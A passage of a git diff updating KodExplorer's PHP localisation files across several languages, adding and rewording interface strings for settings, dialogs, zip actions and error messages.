رساندن", "dialog_min_all" => "به حداقل رساندن همه", "dialog_display_all" => "نمایش همه پنجره", @@ -306,7 +317,7 @@ return array( "past" => "چوب", "clone" => "ایجاد یک کپی", "cute" => "برشی", - "cute_to" => "برش به ...", + "cute_to" => "انتقال به ...", "copy_to" => "کپی در ...", "remove" => "حذف کردن", "remove_force" => "به طور کامل حذف", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "درخت دایرکتوری تازه کردن", "manage_folder" => "مدیریت دایرکتوری", "close_menu" => "بستن منوی", - "zip" => "فشرده سازی ZIP", - "unzip" => "پستی برای استخراج ...", + "zip" => "فشرده به ...", + "unzip" => "برای استخراج ...", "unzip_folder" => "از حالت زیپ خارج را به یک پوشه", "unzip_this" => "استخراج به جریان", - "unzip_to" => "برای استخراج", + "unzip_to" => "برای استخراج ...", + "zipview_file_big" => "فایل بسیار بزرگ است، و پس از استخراج عملیات پیش نمایش!", "clipboard" => "نمایش کلیپ بورد", "full_screen" => "صفحه نمایش کامل", "folder_info_item" => "اقلام", @@ -344,6 +356,8 @@ return array( "moving" => "عملیات های تلفن همراه ...", "remove_title" => "تأیید حذف", "remove_info" => "اعلام آیتم انتخاب شده را حذف کنید؟", + "remove_title_force" => "به طور دائم حذف", + "remove_info_force" => "مطمئن هستید که میخواهید این سند را به طور دائم حذف کنید؟", "name_isexists" => "اشتباه است، نام وجود دارد!", "install" => "نصب", "width" => "عرض", @@ -417,7 +431,7 @@ return array( "download_success" => "دانلود موفقیت انجام شد!", "download_error" => "دانلود انجام نشد!", "download_error_create" => "خطای نوشتن!", - "download_error_exists" => "فایل از راه دور وجود ندارد!", + "download_error_exists" => "لینک به شکست خورده فایل!", "upload_error_null" => "هیچ فایل!", "upload_error_big" => "اندازه فایل بیشتر محدودیت سرور", "upload_error_move" => "انتقال فایل ناموفق بود!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "حذف فایل", "group_role_pathinfo" => "خواص فایل", "group_role_pathmove" => "حرکت (کپی / برش / چسباندن / عملیات کشیدن)", - "group_role_zip" => "فشرده سازی ZIP", - "group_role_unzip" => "جدا کردن فایل های فشرده", + "group_role_zip" => "فشرده سازی", + "group_role_unzip" => "جدا کردن", "group_role_search" => "جستجو", "group_role_filesave" => "فایل را ذخیره کنید به ویرایش", "group_role_can_upload" => "آپلود و دانلود", diff --git a/config/i18n/fi/main.php b/config/i18n/fi/main.php index f8c8bd4..68574cd 100755 --- a/config/i18n/fi/main.php +++ b/config/i18n/fi/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango pilvi • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango pilvi • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Kirjaudu", "guest_login" => "vieras Kirjaudu", "username" => "Käyttäjätunnus", @@ -251,6 +254,13 @@ return array( "login_code" => "koodit", "need_check_code" => "Kirjautumisen autentikointi koodin auki", "login_rember_password" => "Muista salasana", + "setting_clear_user_recycle" => "Tyhjentää roskakorin kaikille käyttäjille", + "setting_clear_cache" => "Tyhjennä välimuisti", + "setting_icp" => "Tekijänoikeus tai ennätysmäärä", + "setting_global_css" => "Custom globaali css", + "setting_global_css_desc" => "Kaikki sivut lisätä oman css", + "setting_global_html" => "Tilastollinen koodi HTML", + "setting_global_html_desc" => "Kaikki sivut lisätään tähän kohtaan koodi, koodi voidaan sijoittaa kolmannen osapuolen tilastojen", "us" => "kalcaddle.com", "login_not_null" => "Käyttäjätunnus ja salasana voi olla tyhjä!", "code_error" => "virhekoodit", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Muokkaus-", "no_permission" => "Ylläpitäjä on poistanut tämän etuoikeuden!", "no_permission_ext" => "Ylläpitäjä kielletty tällaisen tiedoston käyttöoikeuksia", + "dialog_max" => "maksimoida", "dialog_min" => "minimoida", "dialog_min_all" => "Pienennä kaikki", "dialog_display_all" => "Näytä kaikki ikkunat", @@ -306,7 +317,7 @@ return array( "past" => "tikku", "clone" => "Luo kopio", "cute" => "leikata", - "cute_to" => "Leikkaa ...", + "cute_to" => "Siirrä ...", "copy_to" => "Kopioi ...", "remove" => "poistaa", "remove_force" => "kokonaan poistaa", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Päivitä hakemistopuun", "manage_folder" => "Directory Management", "close_menu" => "Sulje valikko", - "zip" => "zip pakkaus", - "unzip" => "zip poimia ...", + "zip" => "Puristetaan ...", + "unzip" => "Jos haluat poimia ...", "unzip_folder" => "Pura kansioon", "unzip_this" => "Pura nykyiseen", - "unzip_to" => "Jos haluat poimia", + "unzip_to" => "Jos haluat poimia ...", + "zipview_file_big" => "Tiedosto on liian suuri, ja pura esikatselu toimintaa!", "clipboard" => "Katso leikepöydälle", "full_screen" => "Koko näyttö", "folder_info_item" => "Tuotteet", @@ -344,6 +356,8 @@ return array( "moving" => "Mobile toiminta ...", "remove_title" => "Poista Vahvistus", "remove_info" => "Vahvista poistaa valitun kohteen?", + "remove_title_force" => "poistetaan pysyvästi", + "remove_info_force" => "Haluatko varmasti poistaa pysyvästi tämän asiakirjan?", "name_isexists" => "Väärä nimi on jo olemassa!", "install" => "asentaa", "width" => "leveys", @@ -417,7 +431,7 @@ return array( "download_success" => "Lataa menestys!", "download_error" => "Lataus epäonnistui!", "download_error_create" => "Kirjoitusvirhe!", - "download_error_exists" => "Kauko tiedostoa ei ole!", + "download_error_exists" => "Sivulle Tiedosto epäonnistui!", "upload_error_null" => "Ei tiedostoa!", "upload_error_big" => "Tiedoston koko ylittää palvelimen rajat", "upload_error_move" => "Epäonnistui siirtää tiedoston!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "Tiedoston poisto", "group_role_pathinfo" => "Tiedoston ominaisuudet", "group_role_pathmove" => "Move (copy / cut / paste / vetää toimintaa)", - "group_role_zip" => "zip pakkaus", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "puristus", + "group_role_unzip" => "avata jnk vetoketju", "group_role_search" => "haku", "group_role_filesave" => "Tallenna tiedosto muokata", "group_role_can_upload" => "Lataaminen ja lataaminen", diff --git a/config/i18n/fr/main.php b/config/i18n/fr/main.php index 305187e..75e740e 100755 --- a/config/i18n/fr/main.php +++ b/config/i18n/fr/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango nuage • Explorateur", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango nuage • Explorateur", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Connectez-vous", "guest_login" => "Invité Connexion", "username" => "Nom d'utilisateur", @@ -251,6 +254,13 @@ return array( "login_code" => "codes", "need_check_code" => "code d'authentification Connexion ouverte", "login_rember_password" => "Rappeler mot de passe", + "setting_clear_user_recycle" => "Vider la corbeille pour tous les utilisateurs", + "setting_clear_cache" => "Vider le cache", + "setting_icp" => "Droit d'auteur ou le numéro d'enregistrement", + "setting_global_css" => "css globale sur mesure", + "setting_global_css_desc" => "Toutes les pages insérera CSS personnalisé", + "setting_global_html" => "Code HTML statistique", + "setting_global_html_desc" => "Toutes les pages seront insérées dans le présent paragraphe code html, le code peut être placé des statistiques tiers", "us" => "kalcaddle.com", "login_not_null" => "Nom d'utilisateur et mot de passe ne peut être vide!", "code_error" => "Codes d'erreur", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Modifier les autorisations", "no_permission" => "Administrateur a désactivé ce privilège!", "no_permission_ext" => "Administrateur interdit ce type de permissions de fichiers", + "dialog_max" => "maximiser", "dialog_min" => "minimiser", "dialog_min_all" => "Réduire tout", "dialog_display_all" => "Afficher toutes les fenêtres", @@ -306,7 +317,7 @@ return array( "past" => "bâton", "clone" => "Créer une copie", "cute" => "cisaille", - "cute_to" => "Couper à ...", + "cute_to" => "Déplacer vers ...", "copy_to" => "Copier vers ...", "remove" => "effacer", "remove_force" => "enlever complètement", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Actualiser arborescence", "manage_folder" => "Gestion d'annuaire", "close_menu" => "Fermer le menu", - "zip" => "compression zip", - "unzip" => "zip pour extraire ...", + "zip" => "Comprimé pour ...", + "unzip" => "Pour extraire ...", "unzip_folder" => "Décompressez dans un dossier", "unzip_this" => "Extrait du courant", - "unzip_to" => "pour extraire", + "unzip_to" => "Pour extraire ...", + "zipview_file_big" => "Le fichier est trop grand, puis extraire l'opération de prévisualisation!", "clipboard" => "Voir le Presse-papiers", "full_screen" => "plein écran", "folder_info_item" => "Articles", @@ -344,6 +356,8 @@ return array( "moving" => "opération Mobile ...", "remove_title" => "Confirmation de la suppression", "remove_info" => "Confirmer pour supprimer l'élément sélectionné?", + "remove_title_force" => "de manière permanente supprimé", + "remove_info_force" => "Vous êtes sûr que vous voulez supprimer définitivement ce document?", "name_isexists" => "Faux, le nom existe déjà!", "install" => "installer", "width" => "largeur", @@ -417,7 +431,7 @@ return array( "download_success" => "Télécharger Success!", "download_error" => "Échec du téléchargement!", "download_error_create" => "erreur Write!", - "download_error_exists" => "fichier à distance n'existe pas!", + "download_error_exists" => "Lien vers le fichier a échoué!", "upload_error_null" => "Aucun fichier!", "upload_error_big" => "La taille du fichier dépasse les limites du serveur", "upload_error_move" => "Impossible de déplacer le fichier!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "La suppression du fichier", "group_role_pathinfo" => "Propriétés du fichier", "group_role_pathmove" => "Déplacer (/ couper / coller / opération de déplacement de copie)", - "group_role_zip" => "compression zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "compression", + "group_role_unzip" => "Décompressez", "group_role_search" => "recherche", "group_role_filesave" => "Enregistrez le fichier à éditer", "group_role_can_upload" => "Téléchargement et le téléchargement", diff --git a/config/i18n/gl/main.php b/config/i18n/gl/main.php index 225ab19..7405c5d 100755 --- a/config/i18n/gl/main.php +++ b/config/i18n/gl/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango nube • Explorador", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango nube • Explorador", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "log in", "guest_login" => "invitado Registre", "username" => "Nome de usuario", @@ -251,6 +254,13 @@ return array( "login_code" => "códigos", "need_check_code" => "código de identificación de usuario aberto", "login_rember_password" => "lembrar contrasinal", + "setting_clear_user_recycle" => "Baleirar o lixo para todos os usuarios", + "setting_clear_cache" => "Baleirar a caché", + "setting_icp" => "Copyright ou rexistro número", + "setting_global_css" => "CSS personalizado mundial", + "setting_global_css_desc" => "Todas as páxinas inserirá CSS personalizado", + "setting_global_html" => "HTML código estatístico", + "setting_global_html_desc" => "Todas as páxinas serán inseridas neste código HTML parágrafo, o código pode ser instalado estatísticas de terceiros", "us" => "kalcaddle.com", "login_not_null" => "Nome e contrasinal non pode estar baleiro!", "code_error" => "Os códigos de erro", @@ -261,6 +271,7 @@ return array( "permission_edit" => "modificar permisos", "no_permission" => "Administrador deshabilitado ese privilexio!", "no_permission_ext" => "Administrador prohibiu este tipo de permisos de arquivo", + "dialog_max" => "maximizar", "dialog_min" => "minimizar", "dialog_min_all" => "minimizar todo", "dialog_display_all" => "Amosar todas as fiestras", @@ -306,7 +317,7 @@ return array( "past" => "vara", "clone" => "Crear unha copia", "cute" => "tosquiar", - "cute_to" => "Corta para ...", + "cute_to" => "Moverse para ...", "copy_to" => "Copiar ...", "remove" => "eliminar", "remove_force" => "eliminar", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "árbore de directorios de actualización", "manage_folder" => "Xestión de Directorio", "close_menu" => "Pechar o menú", - "zip" => "compresión zip", - "unzip" => "zip para extraer ...", + "zip" => "Comprimido a ...", + "unzip" => "Para extraer ...", "unzip_folder" => "Descompactá a un cartafol", "unzip_this" => "Extraer a actual", - "unzip_to" => "para extraer", + "unzip_to" => "Para extraer ...", + "zipview_file_big" => "O ficheiro é demasiado grande, e despois extraer o funcionamento de previsualización!", "clipboard" => "Ver portapapeis", "full_screen" => "pantalla completa", "folder_info_item" => "elementos", @@ -344,6 +356,8 @@ return array( "moving" => "operación móbil ...", "remove_title" => "A confirmación da exclusión", "remove_info" => "Confirmar para eliminar o elemento seleccionado?", + "remove_title_force" => "excluídos permanentemente", + "remove_info_force" => "Está seguro de que quere eliminar permanentemente este documento?", "name_isexists" => "Mal, o nome xa existe!", "install" => "instalar", "width" => "ancho", @@ -417,7 +431,7 @@ return array( "download_success" => "Descargar éxito!", "download_error" => "Fallou o descargar!", "download_error_create" => "erro de gravación!", - "download_error_exists" => "Arquivo remoto non existe!", + "download_error_exists" => "Ligazón a ficheiro fallou!", "upload_error_null" => "No ficheiro!", "upload_error_big" => "tamaño do ficheiro excede os límites de servidor", "upload_error_move" => "Erro ao mover ficheiro!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "exclusión do arquivo", "group_role_pathinfo" => "Propiedades do ficheiro", "group_role_pathmove" => "Move (copiar / cortar / pegar / operación de arrastrar)", - "group_role_zip" => "compresión zip", - "group_role_unzip" => "unzip zip", + "group_role_zip" => "compresión", + "group_role_unzip" => "Descompactá", "group_role_search" => "busca", "group_role_filesave" => "Garde o ficheiro para editar", "group_role_can_upload" => "Carga e descarga", diff --git a/config/i18n/hi/main.php b/config/i18n/hi/main.php index 7fb1c1c..fe8f245 100755 --- a/config/i18n/hi/main.php +++ b/config/i18n/hi/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "मैंगो बादल • एक्सप्लोरर", "kod_power_by" => " - KodExplorer द्वारा संचालित", "kod_name_copyright" => "मैंगो बादल • एक्सप्लोरर", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "में प्रवेश करें", "guest_login" => "अतिथि साइन", "username" => "यूजर का नाम", @@ -251,6 +254,13 @@ return array( "login_code" => "संहिताओं", "need_check_code" => "लॉगिन प्रमाणीकरण कोड खुला", "login_rember_password" => "पासवर्ड याद रखें", + "setting_clear_user_recycle" => "सभी उपयोगकर्ताओं के लिए रीसायकल बिन खाली करें", + "setting_clear_cache" => "कैश रिक्त", + "setting_icp" => "कॉपीराइट या रिकार्ड संख्या", + "setting_global_css" => "कस्टम वैश्विक सीएसएस", + "setting_global_css_desc" => "सभी पृष्ठों पर कस्टम सीएसएस डाल देगा", + "setting_global_html" => "सांख्यिकीय कोड एचटीएमएल", + "setting_global_html_desc" => "सभी पृष्ठों इस पैरा एचटीएमएल कोड में डाला जाएगा, कोड तीसरे पक्ष के आंकड़े रखा जा सकता है", "us" => "पाल नेटवर्क स्टूडियो", "login_not_null" => "यूज़रनेम और पासवर्ड खाली नहीं हो सकता!", "code_error" => "त्रुटि कोड", @@ -261,6 +271,7 @@ return array( "permission_edit" => "अनुमतियों को संशोधित", "no_permission" => "प्रशासक इस विशेषाधिकार अक्षम है!", "no_permission_ext" => "प्रशासक फाइल अनुमति के इस प्रकार के प्रतिबंध लगा", + "dialog_max" => "अधिकतम", "dialog_min" => "कम से कम", "dialog_min_all" => "सभी को छोटा करें", "dialog_display_all" => "सभी खिड़कियां दिखाएँ", @@ -306,7 +317,7 @@ return array( "past" => "छड़ी", "clone" => "एक प्रतिलिपि बनाएं", "cute" => "कतरनी", - "cute_to" => "को काट ...", + "cute_to" => "पर ले जाएं ...", "copy_to" => "कॉपी करने के लिए ...", "remove" => "मिटाना", "remove_force" => "पूरी तरह से हटाने", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "ताज़ा निर्देशिका वृक्ष", "manage_folder" => "निर्देशिका प्रबंधन", "close_menu" => "मेनू को बंद करें", - "zip" => "ज़िप संपीड़न", - "unzip" => "निकालने के लिए ज़िप ...", + "zip" => "करने के लिए संकुचित ...", + "unzip" => "निकालने के लिए ...", "unzip_folder" => "एक फ़ोल्डर में खोल दो", "unzip_this" => "वर्तमान को निकालें", - "unzip_to" => "निकालने के लिए", + "unzip_to" => "निकालने के लिए ...", + "zipview_file_big" => "फ़ाइल बहुत बड़ी है, और फिर पूर्वावलोकन ऑपरेशन निकालने!", "clipboard" => "देखें क्लिपबोर्ड", "full_screen" => "पूर्ण स्क्रीन", "folder_info_item" => "आइटम", @@ -344,6 +356,8 @@ return array( "moving" => "मोबाइल ऑपरेशन ...", "remove_title" => "पुष्टिकरण मिटाएं", "remove_info" => "चयनित आइटम को नष्ट करने की पुष्टि?", + "remove_title_force" => "स्थायी रूप से हटा", + "remove_info_force" => "आप यकीन है कि आप स्थायी रूप से इस दस्तावेज़ हटाना चाहते हैं?", "name_isexists" => "गलत, नाम पहले से ही मौजूद है!", "install" => "स्थापित करें", "width" => "चौड़ाई", @@ -417,7 +431,7 @@ return array( "download_success" => "डाउनलोड सफलता!", "download_error" => "डाउनलोड विफल!", "download_error_create" => "लिखें त्रुटि!", - "download_error_exists" => "रिमोट फ़ाइल मौजूद नहीं है!", + "download_error_exists" => "लिंक में विफल रहा है फाइल करने के लिए!", "upload_error_null" => "कोई फाइल!", "upload_error_big" => "फ़ाइल का आकार सर्वर सीमा से अधिक", "upload_error_move" => "फ़ाइल को स्थानांतरित करने में विफल!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "फ़ाइल विलोपन", "group_role_pathinfo" => "फ़ाइल गुण", "group_role_pathmove" => "हटो (कॉपी / कट / पेस्ट / खींचें आपरेशन)", - "group_role_zip" => "ज़िप संपीड़न", - "group_role_unzip" => "ज़िप खोलना", + "group_role_zip" => "दबाव", + "group_role_unzip" => "खोलना", "group_role_search" => "खोज", "group_role_filesave" => "फ़ाइल सहेजें संपादित करने के लिए", "group_role_can_upload" => "अपलोड और डाउनलोड", diff --git a/config/i18n/hr/main.php b/config/i18n/hr/main.php index 3993622..c48c275 100755 --- a/config/i18n/hr/main.php +++ b/config/i18n/hr/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango oblak • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango oblak • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Prijavi se", "guest_login" => "gost Prijavite", "username" => "Korisničko ime", @@ -251,6 +254,13 @@ return array( "login_code" => "Kodovi", "need_check_code" => "Prijavi se za provjeru autentičnosti kod otvorene", "login_rember_password" => "Zapamti lozinku", + "setting_clear_user_recycle" => "Isprazniti koš za smeće za sve korisnike", + "setting_clear_cache" => "Isprazni predmemoriju", + "setting_icp" => "Copyright ili evidencijski broj", + "setting_global_css" => "Prilagođena globalna css", + "setting_global_css_desc" => "Sve stranice će umetnuti prilagođeni CSS", + "setting_global_html" => "Statistički HTML kôda", + "setting_global_html_desc" => "Sve stranice će se prikazati na ovom stavku html kod, kod može se postaviti statističke podatke trećih strana", "us" => "Jedra Network Studios", "login_not_null" => "Korisničko ime i lozinka ne može biti prazno!", "code_error" => "Kod pogreške", @@ -261,6 +271,7 @@ return array( "permission_edit" => "izmijenili dozvole", "no_permission" => "Administrator je onemogućio ovu povlasticu!", "no_permission_ext" => "Administrator zabranio ovu vrstu dozvole datoteka", + "dialog_max" => "Povećali", "dialog_min" => "umanjiti", "dialog_min_all" => "Minimiziranje sve", "dialog_display_all" => "Prikaži sve prozore", @@ -306,7 +317,7 @@ return array( "past" => "štap", "clone" => "Izradi kopiju", "cute" => "shear", - "cute_to" => "Izrežite na ...", + "cute_to" => "Premještanje na ...", "copy_to" => "Kopiraj u ...", "remove" => "izbrisati", "remove_force" => "potpuno uklanjanje", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Osvježi stablo direktorija", "manage_folder" => "Upravljanje imenik", "close_menu" => "Zatvori izbornik", - "zip" => "kompresije zip", - "unzip" => "zip za izdvajanje ...", + "zip" => "Komprimirani na ...", + "unzip" => "Za izdvajanje ...", "unzip_folder" => "Raspakirajte u mapu", "unzip_this" => "Ekstrakt na struju", - "unzip_to" => "Za izdvajanje", + "unzip_to" => "Za izdvajanje ...", + "zipview_file_big" => "Datoteka je prevelika, a zatim ekstrakt operacija pregled!", "clipboard" => "Pogledaj Međuspremnik", "full_screen" => "Cijeli zaslon", "folder_info_item" => "Stavke", @@ -344,6 +356,8 @@ return array( "moving" => "Mobilna rad ...", "remove_title" => "Brisanje potvrde", "remove_info" => "Potvrdi brisanje odabrane stavke?", + "remove_title_force" => "trajno briše", + "remove_info_force" => "Jeste li sigurni da želite trajno izbrisati ovaj dokument?", "name_isexists" => "Pogrešno, naziv već postoji!", "install" => "instalirati", "width" => "širina", @@ -417,7 +431,7 @@ return array( "download_success" => "Preuzimanje uspjeh!", "download_error" => "Preuzimanje nije uspjelo!", "download_error_create" => "Pisanje je greška!", - "download_error_exists" => "Daljinski datoteka ne postoji!", + "download_error_exists" => "Link na datoteke nije uspjelo!", "upload_error_null" => "Nema datoteke!", "upload_error_big" => "Veličina datoteke prelazi granice poslužitelja", "upload_error_move" => "Nisam uspio premjestiti datoteku!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "brisanje datoteke", "group_role_pathinfo" => "svojstava datoteka", "group_role_pathmove" => "Move (copy / cut / paste / drag rad)", - "group_role_zip" => "kompresije zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "kompresija", + "group_role_unzip" => "otvoriti rajsfešlus", "group_role_search" => "traženje", "group_role_filesave" => "Spremite datoteku za uređivanje", "group_role_can_upload" => "Prijenos i preuzimanje", diff --git a/config/i18n/hu/main.php b/config/i18n/hu/main.php index 8f3a509..e84e97a 100755 --- a/config/i18n/hu/main.php +++ b/config/i18n/hu/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango felhő • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango felhő • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Belépés", "guest_login" => "Vendég Bejelentkezés", "username" => "felhasználónév", @@ -251,6 +254,13 @@ return array( "login_code" => "kódok", "need_check_code" => "Bejelentkezés hitelesítési kódot nyitva", "login_rember_password" => "emlékszik jelszó", + "setting_clear_user_recycle" => "A Lomtár kiürítése minden felhasználó számára", + "setting_clear_cache" => "A cache kiürítése", + "setting_icp" => "Szerzői vagy rekordszámú", + "setting_global_css" => "Egyedi globális css", + "setting_global_css_desc" => "Minden oldalak beilleszthet saját css", + "setting_global_html" => "Statisztikai kód HTML", + "setting_global_html_desc" => "Az összes lap kerül beillesztésre az e bekezdésben html kódot, a kód lehet helyezni a harmadik fél statisztikai", "us" => "kalcaddle.com", "login_not_null" => "A felhasználónév és a jelszó nem lehet üres!", "code_error" => "hibakódok", @@ -261,6 +271,7 @@ return array( "permission_edit" => "jogosultságok módosításához", "no_permission" => "Az adminisztrátor letiltotta ezt a kiváltságot!", "no_permission_ext" => "Administrator betiltották az ilyen típusú fájl engedélyek", + "dialog_max" => "maximalizálása", "dialog_min" => "Kis méret", "dialog_min_all" => "minimalizálás", "dialog_display_all" => "Minden ablak megjelenik", @@ -306,7 +317,7 @@ return array( "past" => "bot", "clone" => "Készítsen másolatot", "cute" => "nyírás", - "cute_to" => "Vágás ...", + "cute_to" => "Áthelyezés ...", "copy_to" => "Másolás ...", "remove" => "töröl", "remove_force" => "teljesen távolítsa el", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Frissítés könyvtárfába", "manage_folder" => "Directory Management", "close_menu" => "menü bezárása", - "zip" => "zip tömörítés", - "unzip" => "zip kivonat ...", + "zip" => "Tömörített ...", + "unzip" => "Kivonat ...", "unzip_folder" => "Csomagold ki egy mappába", "unzip_this" => "Kivonat a jelenlegi", - "unzip_to" => "kivonat", + "unzip_to" => "Kivonat ...", + "zipview_file_big" => "A fájl túl nagy, majd csomagolja ki a megtekintett működését!", "clipboard" => "Részletek vágólap", "full_screen" => "Full Screen", "folder_info_item" => "tételek", @@ -344,6 +356,8 @@ return array( "moving" => "Mobil működés ...", "remove_title" => "Törlés megerősítése", "remove_info" => "Erősítse törölni a kiválasztott tételt?", + "remove_title_force" => "véglegesen törölve", + "remove_info_force" => "Biztos, hogy véglegesen törölni a dokumentum?", "name_isexists" => "Rossz, a név már létezik!", "install" => "felszerel", "width" => "szélesség", @@ -417,7 +431,7 @@ return array( "download_success" => "Letöltés siker!", "download_error" => "Letöltés sikertelen!", "download_error_create" => "Írási hiba!", - "download_error_exists" => "Távoli fájl nem létezik!", + "download_error_exists" => "A fájlra mutató linket nem sikerült!", "upload_error_null" => "Nincs fájl!", "upload_error_big" => "A fájl mérete meghaladja a szerver határértékek", "upload_error_move" => "Hiba történt a fájl!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "fájl törlés", "group_role_pathinfo" => "fájl tulajdonságai", "group_role_pathmove" => "Move (másolás / kivágás / beillesztés / húzási művelet)", - "group_role_zip" => "zip tömörítés", - "group_role_unzip" => "zip kicsomagoló", + "group_role_zip" => "összenyomás", + "group_role_unzip" => "cipzárat kinyit", "group_role_search" => "keresés", "group_role_filesave" => "Mentse el a fájlt szerkeszteni", "group_role_can_upload" => "Feltöltése és letöltése", diff --git a/config/i18n/id/main.php b/config/i18n/id/main.php index 12d1d77..475dce6 100755 --- a/config/i18n/id/main.php +++ b/config/i18n/id/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango cloud • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango cloud • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Login", "guest_login" => "tamu Masuk", "username" => "nama", @@ -251,6 +254,13 @@ return array( "login_code" => "kode", "need_check_code" => "kode otentikasi login terbuka", "login_rember_password" => "Ingat sandi", + "setting_clear_user_recycle" => "Mengosongkan recycle bin untuk semua pengguna", + "setting_clear_cache" => "Mengosongkan cache", + "setting_icp" => "Hak cipta atau merekam nomor", + "setting_global_css" => "css kustom global yang", + "setting_global_css_desc" => "Semua halaman akan memasukkan css kustom", + "setting_global_html" => "kode statistik HTML", + "setting_global_html_desc" => "Semua halaman akan disisipkan dalam kode html ayat ini, kode dapat ditempatkan statistik pihak ketiga", "us" => "kalcaddle.com", "login_not_null" => "Nama pengguna dan password tidak boleh kosong!", "code_error" => "kode kesalahan", @@ -261,6 +271,7 @@ return array( "permission_edit" => "memodifikasi Izin", "no_permission" => "Administrator telah menonaktifkan hak istimewa ini!", "no_permission_ext" => "Administrator melarang jenis file permissions", + "dialog_max" => "Maksimalkan", "dialog_min" => "memperkecil", "dialog_min_all" => "meminimalkan semua", "dialog_display_all" => "Tampilkan semua jendela", @@ -306,7 +317,7 @@ return array( "past" => "tongkat", "clone" => "Buat salinan", "cute" => "mencukur", - "cute_to" => "Potong untuk ...", + "cute_to" => "Pindahkan ke ...", "copy_to" => "Copy ke ...", "remove" => "Hapus", "remove_force" => "benar-benar menghapus", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "pohon direktori penyegaran", "manage_folder" => "Manajemen direktori", "close_menu" => "Tutup menu", - "zip" => "kompresi zip", - "unzip" => "zip untuk mengekstrak ...", + "zip" => "Dikompresi untuk ...", + "unzip" => "Untuk mengekstrak ...", "unzip_folder" => "Unzip ke folder", "unzip_this" => "Ekstrak untuk saat ini", - "unzip_to" => "untuk mengekstrak", + "unzip_to" => "Untuk mengekstrak ...", + "zipview_file_big" => "file terlalu besar, dan kemudian ekstrak operasi pratinjau!", "clipboard" => "Lihat Clipboard", "full_screen" => "Full Screen", "folder_info_item" => "item", @@ -344,6 +356,8 @@ return array( "moving" => "Ponsel operasi ...", "remove_title" => "Hapus Konfirmasi", "remove_info" => "Konfirmasi untuk menghapus item yang dipilih?", + "remove_title_force" => "permanen dihapus", + "remove_info_force" => "Anda yakin ingin menghapus dokumen ini secara permanen?", "name_isexists" => "Salah, namanya sudah ada!", "install" => "memasang", "width" => "lebar", @@ -417,7 +431,7 @@ return array( "download_success" => "Ambil Sukses!", "download_error" => "Download Gagal!", "download_error_create" => "Menulis kesalahan!", - "download_error_exists" => "Terpencil file tidak ada!", + "download_error_exists" => "Link ke file gagal!", "upload_error_null" => "Tidak ada berkas!", "upload_error_big" => "ukuran file melebihi batas Server", "upload_error_move" => "Gagal memindahkan file!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "penghapusan file", "group_role_pathinfo" => "Properti File", "group_role_pathmove" => "Move (copy / cut / paste / drag operasi)", - "group_role_zip" => "kompresi zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "kompresi", + "group_role_unzip" => "membuka ritsleting", "group_role_search" => "pencarian", "group_role_filesave" => "Simpan file untuk mengedit", "group_role_can_upload" => "Upload dan download", diff --git a/config/i18n/it/main.php b/config/i18n/it/main.php index fb2399f..ac8962d 100755 --- a/config/i18n/it/main.php +++ b/config/i18n/it/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango nuvola • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango nuvola • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php 